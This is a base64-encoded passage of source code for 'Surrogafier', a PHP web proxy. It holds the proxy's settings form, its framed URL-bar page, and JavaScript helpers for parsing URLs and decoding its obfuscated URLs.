j48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSV